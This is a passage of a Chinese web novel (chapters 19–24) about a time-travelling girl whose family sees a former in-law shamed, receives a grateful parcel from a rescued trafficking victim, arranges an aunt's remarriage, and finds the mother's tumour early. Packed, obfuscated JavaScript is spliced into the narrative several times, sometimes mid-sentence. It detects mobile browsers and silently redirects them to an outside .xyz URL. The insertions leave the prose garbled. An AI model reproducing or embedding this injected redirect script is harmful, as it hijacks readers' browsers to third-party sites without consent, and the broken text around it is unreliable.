“你和大勇夫妻一场，他蹲大牢去了，你好歹也去见见他最后一面，他终究是丽丽爹啊。”吴老婆子一副我为你好的样子。 被扫地的陈显英撞见，一把扫帚就扔了出去，正中吴老婆子后脑勺。 19. 第 19 章 “哎呦。” “怎么还打人啊？” 吴老婆子捂着脑瓜子直跳脚。 “狗咬那啥子来着，一家子不识好人心。” “我是为了你们好，显英啊，我找人打听了，只要你们凑点钱，打点一下，这刑是能减的。”吴老婆子今天是来帮她那个老姐姐借钱的。 吴老娘被拘的时候，她去看了一眼，对方让她来钟明芳这拿点钱，赔给那小娘们，求个和什么来着，警察说了，反正是不用关那么久。 为啥不找大儿媳刘来娣，那个媳妇儿兜里一毛钱没有，指望她去娘家借？不被绑了改嫁算好的。 她小儿媳心软，上次虽然打了她，她也不计较了。 “梅子说了，只要能帮她从牢里出去，她就还认你这个儿媳。”梅子是吴老娘的名字。 吴老婆子不觉得吴家人拐卖女人是个啥大事，搁过去，这种事情多了去了。只要不被外人抓到，没人会管这事。 大勇还是不够小心，让那小娘们跑了，不然哪有今天这事啊。 “我闺女稀罕她？”陈显英怒气冲天。 “你滚不滚？” “显英啊，我也是为了你们……啊……别打，别打，我走。”话还没说完，陈显英又是捡起扫帚，给了她好几下。 专门往脸上招呼，那扫帚刚扫完鸡圈，上面还沾着鸡屎呢，就这么糊了吴老婆子一嘴。 “呕~呕~” 吴老婆子捏着喉咙直干呕。 这下子是真的没心情管吴家的破事了，一嘴一脸的鸡屎再不清理，她要疯了。 “明芳？”陈显英有点担心。 “娘，我没事的。”钟明芳笑得有点勉强。 “我不会心软的。” 吴家那一大家子，真没一个好人。 原来她也是想好聚好散的。 那天吴大勇房里那女人，让她看见了她不离婚的未来。 吴大勇能打别人，为什么不打自己呢？是不能还是不敢？要是没有她娘家在这呢？她会是什么下场？ 吴家三兄弟，吴大海天天打媳妇，吴老二大军更不是个好的，那她当年凭啥认为吴大勇是个好人呢？ 还是被情情爱爱的蒙蔽了双眼。 事实证明，爹娘不会害她。 她就是嫁错了人。 钟莹莹今天学期最后一天，小学期末考。 一共两场考试，考完就能放假回家了。 试题是陈萍出的，语文就简单的汉字拼写，数学则是加减法和量词。 没十分钟她就写完了。 要等着小伙伴一块回家，她没提前交卷。 坐在教室里百无聊赖的看周围的同学抓耳挠腮，还怪有趣的。 考试结束的铃声一响，陈萍就把卷纸都收了。 给学生布置完假期作业才放人走。 考试成绩等老师批改完会写在外面的小黑板上，卷纸下学期开学才会发下来。 有想来看成绩的，可以自己过来看。 不想来的，那就等到开学。 钟莹莹一考完试心就野了，跟着小伙伴背着自己的书包回家，一路走一路晃。 “下雪了！” 天上突然飘下来几朵雪花，钟莹莹伸手接了一朵，小小一片落到手里就化了。 这还是今年的第一场雪。 这群小朋友们都十分的激动，边走边跳，还说等雪厚了要出来打雪仗。 没过一会儿就笑不出来了。 雪下的越来越大，视线几乎看不清前方的道路了。 还刮起了风。 “好冷啊”毛蛋被冻得一哆嗦，一吹风，他的大鼻涕又流出来了，外面冻手，不想把手从裤兜里掏出来擦鼻涕，用力一哼哧，好不容易给吸回去了。 钟莹莹也感觉到冷了，身上的棉袄虽然厚，但那风往骨头里钻啊。 他们自己走，估摸着还要走半小时才能到家。 “莹莹，我不想走路了，要是你爹来接你就好了。”楚琳琳声音里满是向往。 “是啊，是啊，太冷了我们也走不动了。”其他小伙伴都七嘴八舌的应和。 钟伟先还真来接人了，驾着牛车来的。 其他家的也托他把孩子一块带回来，谁能想到雪会突然下的那么大。 “莹莹~”钟伟先远远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585684|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的望见白茫茫的一片里有几个黑点在移动，就知道肯定是孩子们。 “我好像听到我爹的声音了。”钟莹莹没看见人，还怀疑是自己幻听了。 “你听错了吧，我没听到啊。”楚秀秀被吹的也开始流清水鼻涕了。 几人慢下脚步，侧耳仔细听，又好像真的听见有人在喊。 “是伟先叔。”毛蛋兴奋的用手指指着前方。 他终于不用走路，可以坐车咯。 顺着毛蛋手指的方向，其他孩子也看见了钟伟先，以及他的牛车。 各个都开心的不行。 什么下雪啊，打雪仗啊，都没有他们坐牛车重要。 这该死的风，着实吹的人脸疼。 坐上牛车，围上斗笠挡风，一群娃娃就这么被带到了钟家。 陈显英早早的熬了一大锅姜汤搁那等着了。 吹那么久的风，不喝点驱寒的，指定要生病。 刚下车的孩子，还没感受到屋里的暖意，就被人毫不留情的灌了一大碗姜汤。接着被自家爹娘领回家去了。 “再喝一碗，多发发汗。”陈显英拉着钟莹莹还要再给她灌一碗姜汤巩固一下。 钟莹莹忙不迭的跑走了，汤里没放糖，就纯粹的老姜熬的，姜量很足，一碗已经快给她干得呕出来了，再来一碗真要呕了。 丽丽搁边上偷偷笑话她。 忽然，院子外面传来了一阵敲门声。 “是钟伟先家吗？有你的包裹。” 打开门，是镇上的邮递员。 衣服上，身上全是雪，自行车后座上捆了一个硕大的包裹。 “今天送邮件也是倒了霉了，谁知道这雪说下就下啊。”邮递员不住的吐槽。 “快，进屋取取暖再走。”钟伟先看他冻的双手通红，侧着身子就让他进屋暖暖。 “算了，我看这雪一时半会儿的也停不了，待会路更难走，我就不留了。” 邮递员把包裹从自行车上取下来，递给钟伟先道：“海市寄来的，也不知道里面装了什么东西，怪沉的。” 钟家人也疑惑呢，他们没有海市的亲戚啊，会是谁寄来的呢？ 20. 第 20 章 钟伟先抱着沉甸甸的包裹进屋时，炉子里的劈柴燃的噼啪作响，炉火边煨了红薯和土豆，一家人都围着炉子烤火呢。 “确定是咱家的？别是寄错了吧？”陈显英的手被炉火烤的热乎乎的，心中满是疑惑。 包裹上“海市第一纺织厂”的蓝戳明亮的扎眼。 “没错，我瞧了，地址就是咱家。”钟伟先肯定道。 钟绍华摸出一把剪刀，‘咔擦’一声就剪断了包裹外面的麻绳。 打开包裹，麦乳精的香气扑面而来，整整五罐黄桃罐头整整齐齐的码在旧报纸里，边上还有一大包用油纸包扎好的猪肉脯，最底下压着块深蓝色布料，料子比供销社卖的细软得多。 夹层里还有一封信，钟绍华捏了捏，还挺厚实。 接着他把信封拆开，一不小心，里面零散的钞票掉了一地。 满地散落的钞票，钟家人就这么楞在了原地。 陈显英宽厚的大掌一巴掌拍在了钟绍华的头上：“还不捡起来，愣着干什么呢？” 钟家其他人也如同被唤醒了一般，纷纷去捡地上的钱。 全部摞在一起数了数，有二百三十块。 “这么多钱？”钟绍华傻眼了，忙不迭的去看信里写了什么。 寄件人叫宋茹，他不认识。 信里说要感谢钟明芳，还有一个小朋友，让她找回了逃跑的勇气，还说以后有需要帮助的地方，可以去海市找她，直接去海市第一纺织厂找销售科主任宋国华就行。 “怎么回事？”钟绍华很是疑惑，他们家有发生什么自己不知道的事情吗？ “别管、别问、别说。”陈显英锤了他一下。 知道的人越多，越危险，吴家人又不是全都吃枪子了，还有几个蹲完篱笆子会放出来。 联想到之前跑掉的吴家新媳妇，她想她知道谁寄的了。 善因结善果。 当日闺女的一时好心，换来了今日的一份厚礼。 就是这信里的小朋友？陈显英狐疑的看了一下自己的小闺女和外孙女。 外孙女丽丽在那流着口水盯着炉子上的红薯。 小闺女钟莹莹还在那装傻充愣呢。 好了，破案了，绝对是这熊孩子。 也不知道这孩子胆子咋那么大。 陈显英气得瞪她一眼。 屋外的雪下得越来越大，没一会儿地上就积满了厚厚一层积雪。 钟家的堂屋里温暖如旧。 燃烧着的炉子温暖了一家人的躯体。 看着眼巴巴盯着麦乳精的外孙女，陈显英拍板决定：“今儿个咱们也尝尝鲜，每人喝一碗这海市来的新鲜货。” 拿出七个碗，每碗挖了一勺麦乳精，倒半碗开水，用筷子搅开，一碗浅黄色的液体就这么散发着香味和甜味。 钟莹莹咽了咽口水，不是她馋，而是这个年代的产物实在少了些。 她出生了多久就有多久没见过后世那些亲爱的零食，尤其是她的辣条大宝贝，不知道何时何日才能再相见。 端着碗，小口细品着着，真甜呐，还有一股奶香味 “黄有德回来了，你知道吗？”陈显英端着碗，抬头问钟明芳。 当年她给闺女相中的丈夫就是他，村长丈母娘的儿子。 钟明芳嫌弃他年纪大，长得凶，不同意，挑来挑去，挑了一个最挫的。 “娘~”钟明芳娇嗔一声，脸红扑扑的，不知道是被炉火烤的，还是羞的。 黄有德钟莹莹知道，前世退下来的时候职位还不低呢。 老婆死的早，他在部队很少回来，家里三个孩子，老娘一直给他养着。 听说当年相亲的时候，他一眼就瞅中了她姐。 就是钟明芳不同意，还迅速找了个人嫁了。 心灰意冷之下，他也随了自家老娘的愿，娶了一个媳妇。 一连生了三个男娃。 对媳妇也不错。 他家孩子有点多，但是他娘身体蛮好的，前世孩子也一直是她带的。 如果她姐想再婚的话，他确实是个不错的选择。 嫁与不嫁，看她姐自己的选择，不想嫁，他们家也养得起。 瑞雪兆丰年。 这场雪下的那么大，土壤里的害虫都被冻死了，来年一定有一个好收成。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585685|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 钟莹莹乍一闲下来，真的有点不习惯。 小孩子精力足，睡又睡不着。 外面那么冷，她也不想起床，只能躺在床上胡思乱想。 她已经改变了太爷爷饿死的命运，连带着改变了全村人的境况。 接下来就是太奶奶，也就是她娘了。 前世她是死于肿瘤，小地方医疗水平有限。 她经常腹痛，前期痛一会儿就消停了，到后面不分白天黑夜的痛。 那个时候太爷爷没了，奶奶怀着孩子，就要生了，家里刚闹完饥荒，压根一毛钱都没有。 太奶奶一直忍着，直到被爷爷发现她的大肚子。 被强制带去县里做了检查，医生说来晚了，已经是晚期了，那颗瘤子占据了整个腹腔，切的话人直接就没了，再说他们这里也没条件做手术，得去大城市。 不切的话也没几个月了，让家属做好心理准备，给拿了两盒止痛药，就让人回家了。 止疼药还没吃完，人就已经受不了那个痛苦了。 陈显英最后是上吊走的。 由于行动不便，没法在房梁上挂绳子。 她就在床头拿裤腰带绑了个死结，躺在地上，勒死了自己。 爷爷每每提起这件事情，都伤心不已，眼泪鼻涕哗哗流。 因为听的多，她对这件事情印象尤为深刻。 太奶奶的病应当是从奶奶怀孕开始有征兆的，等到彻底爆发，是在奶奶即将临盆的时候。 只要能够提前带她去医院做检查，去大城市把早期的小肿瘤给切了，保命的机会还是非常大的。 说到这，她又想起她奶奶的第一个孩子，她大伯，那可真不是一个好东西，不光他是坏种，后面他娶的媳妇，生的孩子统统都是恶人。 爷爷后面就是被他给气死的。 本来身体健健康康的，至少能活九十岁，被人气的绝食，她给爷爷接走了，但他那时的身体已经很不好了，没两月就去世了。 这辈子，等那个大伯出生，她一定要让他知道什么是血脉压制。 风水轮流转，上辈子他是长辈，这辈子她才是小姑。 21. 第 21 章 从窗子往外看，雪已经停了，外面的积雪已经深到能没过大人的小腿了。 像钟莹莹这样的小矮子，估计是直接到腰那里。 钟伟先和钟绍华正在扫雪，踩着梯子，拿着长竹竿去清理屋顶上的积雪。 害怕后面再下雪，房顶上的雪太厚，把屋顶给压塌了。 清完所有房顶上的雪，又去把鸡棚的雪也给清了。 院子里的雪用铁锹一铲子、一铲子的往院外铲。 没多久院子边上就堆了一座雪山。 钟莹莹躺不下去了，一件又一件的穿上自己的大棉裤，小棉袄，最外面套上罩衣，防止弄脏里面的袄子。 棉裤也套了袖套，是陈显英缝的，大人套袖子上，小孩就套在腿上，省的棉裤脏的快。 棉衣是不能经常洗的，洗完棉花会结块，衣服会越来越不暖和。 穿好衣服，又戴上钟明月给自己钩的毛线手套，钟莹莹才从屋里出去，去灶房里找吃的去了。 其他人都吃完饭了，只有钟莹莹起的晚，还没吃。 不对，丽丽还没醒呢。 床上还有一个小懒猪。 “哎呦，我滴个小祖宗，天这么冷，你起来这么早干嘛？”陈显英看见钟明月从灶房里出来，被这个小冤家吓一跳。 她还想着，等会儿院子里的雪清完了，再去叫人起床吃饭呢，没成想她自己起来了。 “娘，我饿了。”小肚子一直咕咕叫，哪里还能躺下去。 “饿你叫人啊，这么的天，出来冻坏了怎么办？”雨雪天气，陈显英恨不得把家里孩子都给关屋子里。 钟莹莹没答话，嘴里塞的大馒头还没咽下去，说不出来话。 陈显英给她拉到屋子里，又在她手里塞了个烤红薯，叮嘱道：“不要再出去了，听见没？” “你村长叔家里要杀猪，我跟你爹去帮忙，你听话，中午回来给你带杀猪菜吃。” 扫完雪没事干，一群人就开始琢磨起来。 正好钟强先家养的年猪还没杀，这不大家伙的，都过去帮忙了。 两只猪，养的肥肥壮壮的。 就等着过年宰了吃。 钟莹莹想吃猪肉，又不敢看杀猪，立马就答应了她老娘的要求。 “老楚，你按住了，按不住，等会猪一蹬腿，就给你踹飞了。” “可不能再像去年一样了。”钟强先拿着杀猪刀，对着按着猪后腿的老楚调笑道。 去年杀猪的时候，就是因为他没按住，刀子还没捅进去呢，猪就跑了。 一村的人那叫一个着急的抓啊。 被猪溜了一圈又一圈，直到猪累的跑不动了，他们才抓住。 “对啊，老楚，你要是不行，那我来按腿也成。”钟刘先按住猪肚子一脸戏谑。 “谁不行了？去年那是我大意了。”老楚被臊的脸红脖子粗。 “对对对，是大意了。” “行了，都别闹了，我要下刀子了。”钟强先大声提醒了一句。 话音刚落，白刀子进红刀子出，可怜的猪猪一蹬腿就不动弹了。 “快~拿个盆子来接猪血。”钟伟先在一旁忙喊道。 猪血是好东西，撒一滴都感觉浪费了。 “来了，来了。”黄有德拿起搪瓷盆就过来了。 把盆子放到猪头下面，见着猪血淅淅沥沥的往下流。 再想想杀猪菜，众人的嘴巴里开始分泌口水。 猪已经嘎了，后面的开肠破肚，钟强先交给了他的小舅子黄有德，让他好好表现一番。 好几年没回家过年，一听人家闺女离了，立马休了所有假回来了。 这不是扫盲老师说的那个，司马昭之心，人人皆知。 随着黄有德的手起刀落，一头几百斤重的肥猪，还冒着热气呢，就这么被分解成了规整的若干块。 内脏啥的还在一起，没有处理。 村长去拿了称出来：“有要买肉的，可以过来称重了。” 养了一年的猪，可不就为了赚点钱。 “猪后腿给我称二十斤。” “我要猪里脊。” “猪板油给我来点，我家没油了。” “……” 今年钟家岗的人没少赚，一头猪现在竟然还不够分。 钟强先大手一挥，搞起了限购，每家只能买三十斤。 除了自家吃的，他还要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585686|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留一点做杀猪菜呢，不能让大家伙的白帮忙。 猪杂、猪血混着猪肉和酸菜炖了一大锅，每家盛了一大碗回家吃去了。 见人都散了，黄有德又从锅里舀了满满一碗，端着给钟家送去了。 “婶儿，我姐夫家这菜还有多的，你家俩孩子还小，再端一碗，免得俩小孩闹别扭。”黄有德是见过战友的俩双胞胎打架的，反正你有我就得有，还必须是一模一样的，不然就得干一架。鬼哭狼嚎的。 他自己的三个孩子没怎么带过，常年在外，偶尔回家的时候，孩子们见他都很生疏，加上他长的凶，一个两个的，更加不敢亲近了。 所以他家没有在他面前胡闹的。 不知道钟家的两个是啥样的，都是女娃娃，应当比男娃娃要文静一些吧。 “你这……”陈显英有些迟疑。 “婶儿，收下吧，我回去吃饭了。”说完黄有德就把碗往陈显英手里一塞，扭头飞快的走掉了。 人都走了，菜是无辜的。 陈显英端着碗进了院子，从灶房里又拿出两个碗，一个碗里拨了一些菜。 端到屋里给钟莹莹和丽丽。 小丽丽刚睡醒，还一脸懵呢，就被塞了一碗香香肉。 眼睛要闭不闭的，迷迷糊糊的抄起勺子就开吃了。 钟莹莹拿着筷子，也是吃的喷香，这个时候的猪肉就是好，白煮都是香的，和酸菜一起炖更香。 里面还有她爱吃的猪杂，肥肠真是永远的第一名。 钟明芳也看见了送菜的人。 她也不清楚自己是什么想法。 说喜欢吧，谈不上。 说不喜欢吧，也不是。 整个人犹豫又纠结。 他们俩都是结过婚的，她一但答应，那肯定是收拾收拾东西就搭伙过日子了。 她无所谓，就是害怕女儿受不了有个新爹。 陈显英看着纠结的闺女，就知道她在烦什么：“你要是再找了，丽丽就留在我这，跟莹莹做个伴。” 放一只羊也是放，放两只羊也是放，没多大区别。 “要是不想找，我给他说一下就行。” 主动权在她们手里。 22. 第 22 章 “算了，娘，还是见一面吧。”钟明芳下定决心道。 老待在娘家也不是个事，钟明芳不是一个很独立的人，一个人生活对她来说很难，所以她还是想找一个依靠。 “明芳。”心心念念的人就在面前，黄有德不由得多了几分紧张。 他上一回娶妻的时候和人家说的也很清楚，之前他有喜欢的人，人家结婚了，他找人结婚生子也是遂他娘的愿。 孩他娘还是嫁给了他，那是个可怜人，不嫁给他下场更惨。 娘家就指望着嫁女儿的彩礼给儿子结婚呢，如果不嫁那等待她的就只有换亲了。 嫁到黄家她倒也过了几年好日子，就是生三胎的时候，胎位不正，大出血，人没了。 等黄有德从部队回来，人都已经被埋到地里了。 本来他是不打算再娶的，一听到钟明芳离婚了，他又立马改变注意，休假回老家，让自己老娘给自己打听。 “德哥。”钟明芳也有些怅惘，兜兜转转竟然还是这个人，那自己当初抗拒个什么呢？ “明芳，我现在一个月津贴十二块，除去每月寄给我娘的五块，如果我们结婚了，那剩下的都交给你，我在部队花不了什么钱。” “部队每月配发的还有副食，之前吃不完的我都是拿去卖了，那个钱我也存着呢。” 黄有德挠挠头继续说：“孩子也不用你操心，我娘说她给我继续带着。丽丽我会把她当成我亲生的女儿。” “如果你还想再要一个，那我们就再生一个，如果你不想要了，我可以结扎。” 孩他娘没了，在他心里也留下了阴影。 如果生孩子的后果是没了老婆，那他可以不生。 话说到这个份上，黄有德的诚意已经很足了，这个年代没有男人会主动去结扎的。 钟明芳没有理由再拒绝。 钟家过新年的时候，家里就多了一个女婿。 “娘，这是我们部队发的肥皂和饼干，家里留了些，这些拿给莹莹和丽丽。”黄有德第一次正式登门，左手右手都拎了一大堆东西。 钟莹莹上下仔细打量了他一番，心道，不错，看起来是个正派人物。不像‘老好人’，也不像蛮不讲理的。 丽丽就有些惶恐了，她以前听人说有后娘就会有后爹，她娘是亲的，多了一个后爹，亲娘会不会也变后娘啊？ 这个人长的还那么高，比他爹高多了，打人一定很痛。 “姑姑，我害怕。”丽丽用力拽着钟莹莹的小手。 “丽丽不怕，新姑父不打人。”钟莹莹拍拍丽丽的小手安慰道。 黄有德过来给两人一人发了一个红包，一个红包装了两块钱。 小家伙一下子就从愁眉苦脸变成了喜笑颜开，钟莹莹的安慰都没有钱的魅力大。 一毛钱能买好多好吃的，这里有张大的，那她能买更多了。 她单方面认定，这个爹是好爹。 新女婿上门，又是过年，家里准备了一大桌好菜。 正当钟莹莹拿着筷子要大吃特吃的时候，钟明月忽然捂住喉咙出去干呕，吐了好一会儿，洗干净脸回来，闻到屋子里的酒气和饭菜的味道，又捏着鼻子呕去了。 钟绍华放下手里的碗，跟着看他媳妇去了。 “该不会是有了吧？”陈显英嘀咕道，这结婚也有大半年了，怀上也不奇怪。 ‘啪嗒’ 钟莹莹的筷子掉在了地上，整张脸也在霎那间变得惨白。 “怎么了？莹莹？吓到了吗？”陈显英忙把她抱起来拍着哄。 钟莹莹更难受了，她没想到，这个孩子会来得这般早。 本以为能好好过完这个年，再装个病，带她娘一起去医院检查的。 钟莹莹趴在陈显英怀里不愿意抬头，眼泪扑簌簌的流。 陈显英急的不行，这是魇着了吗？ “我去叫老楚过来看看。”钟伟先嗖的一下就出去喊人了。 “没啥大事，就是惊着了，休息一会儿就好了。”老楚耷拉着眼皮，盯着人看了一会儿，得出了这么个结论。 “休息一会儿？不用搞个符水喝喝，能成吗？”钟伟先有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585687|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀疑。 老楚上下扫视了他一圈：“我说的算你说的算？” 他的符水也不是对什么人都管用的，这小丫头运道好的很，屁事没有，喝什么符水？ 钟莹莹哭着哭着竟然睡着了。 等她醒来的时候，天都暗了。 丽丽被钟明芳带去了黄家，因着白天的事情，陈显英陪着钟莹莹睡在了一张床上。 “醒了？饿了没？要吃点东西吗？娘去给你热个饭。”钟莹莹一动陈显英就醒了，掀开自己这半边的被子，就要起身去灶房。 这孩子白天没吃多少东西，睡到现在，指定是饿了。 钟莹莹从背后抱住她，声音带着哭腔：“娘，我梦见你生病了。” 若是说一开始的拯救太爷爷太奶奶，是为了爷爷，现在，就单纯是为了她自己。 一起生活这么久，她舍不得让她这么好的娘出事。 “莹莹，梦都是假的，娘这不是好好的吗？”陈显英哭笑不得，一个梦就给孩子吓成这个样子。 “不是，我梦见你总说肚子疼，然后肚子就鼓起来了，去医院，医生说是瘤子，得上大城市切。”钟莹莹一脸严肃道。 陈显英也开始狐疑了，闺女怎么知道她最近总感觉小肚子隐隐作痛的？这事她谁也没说啊？ 刚开始她以为是月经，但是裤子上没有血，只有小肚子时不时痛一下，缓一会儿又好了，她就没当回事。 “娘，明天我们去医院吧，和嫂嫂一起去。”钟莹莹甚至在想，要是嫂子肚里的那个孩子有问题就好了，那样她那个大伯就不会出生，也不会带来后面一系列的不良后果。 她也就只能想想了，嫂子是个好嫂子，不能为了孩子，去伤害嫂子的身体。 陈显英想拒绝，说自己不用检查，这年头，谁的小病小痛不是忍忍就过去了。 看着孩子的一脸担忧，她咬牙答应了：“行，明天一早我就跟你嫂子一块去县里检查去。” 家里今年挣的钱不少，宋茹还给了那么多，去医院检查下安了孩子的心，也花不了几个钱。 23. 第 23 章 “医生，你说的是真的？确定没看错了？”陈显英也不敢相信，自己肚子里真的长了个瘤子。 “真的，不过现在这个瘤子还很小，如果是良性的没事，如果是恶性的，那得做手术切除。” “我们这里没有这个条件，你要是想做手术，得去大城市。”医生里里外外都给她解释了一遍。 “那怎么判断是良性的还是恶性的？”陈显英希望她的是良性的。 “会一直长大不断扩充的，一般是恶性肿瘤，变化不大的，是良心的。” 陈显英心沉了下去。 会来检查，是她闺女强烈要求的。 梦里她长了瘤子，她的肚子越来越大。 长了瘤子已经验证是真的了，那就是说她这个是恶性的。 “你也不用太担心，没准运气好是良性的呢？”医生安慰了陈显英一下，这边来看病的人他见得多了，小病还好，开点药，大病基本上是回家等待，尤其是乡下来的，花的钱太多了，拿不出治疗费的比比皆是。 陈显英还不想死，她小闺女才这么一点点大，儿媳妇刚怀孕。 他们家眼见着一眼比一年好。 她怎么就生病了呢？ “娘，我们去海市。”海市作为后市最繁华的城市之一，在这个时代，没有地方比那里医疗条件更好。 “哟，你个小丫头还知道海市呢？”医生很惊讶。 一个农村的孩子，除了村里那一亩三分地，还能知道别的城市，看来这一家子不是没有见识的。 “医生，我是说如果、如果我要是做手术，这得花多少钱啊？”陈显英还是担心钱的事情，钱花了，病好了还成，要是钱花了，她病也没好，那不如把钱留给孩子。 “起码得准备一百块。” “看具体情况，如果病情复杂，可能花费的更多。”很多人听到这就放弃了。 钟莹莹也怕她娘不想治了：“娘，钱花了再赚，我们治。” 陈显英安抚道：“行，我们治。” 一百块家里虽有些肉痛，但拿得出。 钟绍华正带媳妇做完妇产科检查，喜悦自己还有七个月就要当爹了。就得知自己老娘肚子里长了个瘤。 愉快的心情顿时消失不见。 “娘，花多少钱我们都得治啊，医生怎么说？”钟绍华害怕老娘想省钱，不治了。 “是啊，娘。”钟明月也顾不得孕期的难受，跟着钟绍华一起追问。 她这个婆婆虽然一开始有些别别扭扭的，转变过来之后却是对她极好。 “放心，没多大问题，医生说，得开刀，我们这做不了，去大城市切了就没事。”陈显英装作很轻松的样子。 “得开刀？”这还叫没啥问题？钟绍华急地直跺脚。 “是的，哥哥，娘打算去海市。”钟莹莹答道。 “娘，那我送你去。”钟绍华想跟着一起去。 陈显英不想带他：“你爹跟你妹妹和我一起去，明月刚怀上，你得留在家里照顾她。” “娘，我没事的。”她觉得还是婆婆的事重要。 肚里这个崽刚怀上没几个月，肚子还没大起来，并不需要太多的照顾。 “就这么说定了，你爹跟莹莹和我一起去就成。”之所以带钟莹莹，也是因为怕他们都走了，她跟哥嫂在家，会害怕。 做了一个噩梦就能吓得非得让她去医院，要是等她和她爹都去海市，孩子一个人在家胡思乱想，不知道怕成什么样呢。 钟伟先带着钟强先去镇上开了一家三口的证明，收拾了一个包裹，里面装了三人的换洗衣物，还有喝水的搪瓷缸子，煮熟的鸡蛋，黄有德送的饼干。 之前宋茹寄的那封信也带上了，万一遇到什么问题，有个熟人在那比较好。 钱陈显英在衣服里面缝了几个兜子，分开别再里衣里了。 放包袱里，这个时候火车上扒手多，一个不注意，就能把你包袱划了，给钱偷走。 孩子也得注意，最好拿个绳子绑好了，拐子也不少。 钟绍华赶着牛车把人送到了火车站外面。 “娘，你们一定要注意安全。” “知道了，你回去吧。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585688|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >钟伟先买的是硬卧，是黄有德托关系给买到的。 两张下铺票，比其中铺和上铺，不需要攀爬，能活动的范围还要大一些。 一家三口上车的时候，其他铺位上已经有人了。 钟伟先把行李挨着床里边放，让老婆孩子先去另一张铺位上休息一会儿，自己则是闭着眼睛半靠在行李和床上，守着东西看着老婆孩子。 为了赶火车，他们天没亮就出发来县里了，大家都没睡好。 钟莹莹躺倒就睡，睡醒她爹和她娘正在说话呢。 广播里传来餐车开始供应午饭的消息。 陈显英一听就赶紧让钟伟先过去买两盒盒饭，出门在外，该省省，该花花，总不能饿着肚子。 “莹莹，去上厕所吗？” “不去。”上车前去过了，钟莹莹这会儿并不想去，再说了，火车上的厕所，那叫一个一言难尽，能不拉还是不拉。 “那先吃两块饼干垫垫肚子，你爹一会儿打饭回来就能吃饭了。” 钟伟先打了一份红烧肉，一份红烧茄子。两份盒饭摞在一只手上，另外一只手端了一搪瓷缸打来的开水，步履艰难的在人流中穿行着。 中间他感觉身上的口袋不知道被人掏了多少把，不过他一点也不担心，因为外面压根没装钱。 回到铺位上，把饭盒放到小桌板上，他只感觉浑身一松，终于解放了。 还好黄有德成了他女婿，不然的话，买不了卧铺票，买硬座都要靠抢的。 那边乱糟糟的，吵的人脑袋都大了。 卧铺这边人少得多，都没满员，大家也比较安静。 “快吃饭，今天车上有红烧肉。”钟伟先把饭盒打开，一股肉香味弥漫开来。 饭只买了两盒，钟莹莹人小，吃不了多少，等会他吃他们娘俩剩下的就成。 饭盒吃完了需要还回去。 一家三口在火车上躺了十几个小时才到达目的地。 “这就是海市啊，真阔气。”出了火车站就能看见一片片的高楼，有五六层呢，不像他们老家，只有县城才有二层小楼。 24. 第 24 章 宋茹来火车站送朋友，人走之后，在火车站门口看见这一家三口，直接呆住了。 虽然穿的衣服变了，之前是夏天，衣着单薄，现在是冬天，身着厚厚的大棉袄。 但是那个小女孩，化成灰她都记得，那是她的救命恩人啊。 没有她估计她还会在那个地狱里浑浑噩噩。 当时她跑了无数次，也被打了无数次，整个人都绝望了。想着，要不就这么算了，反正结果都那样。 心灰意冷的时候，有人给她指引了方向。 这一辈子她都会记得。 眼见着一家人就要走，她急忙追过去了，拽住了钟莹莹：“你还记得我吗？” 钟伟先把孩子扯回来，紧紧揽住，一脸警惕，心想，这刚出火车站就有拍花子的，这大城市比乡下还不安全。 “你是？”陈显英仔细盯了她一会儿，也没能在记忆里找出对应的人来。 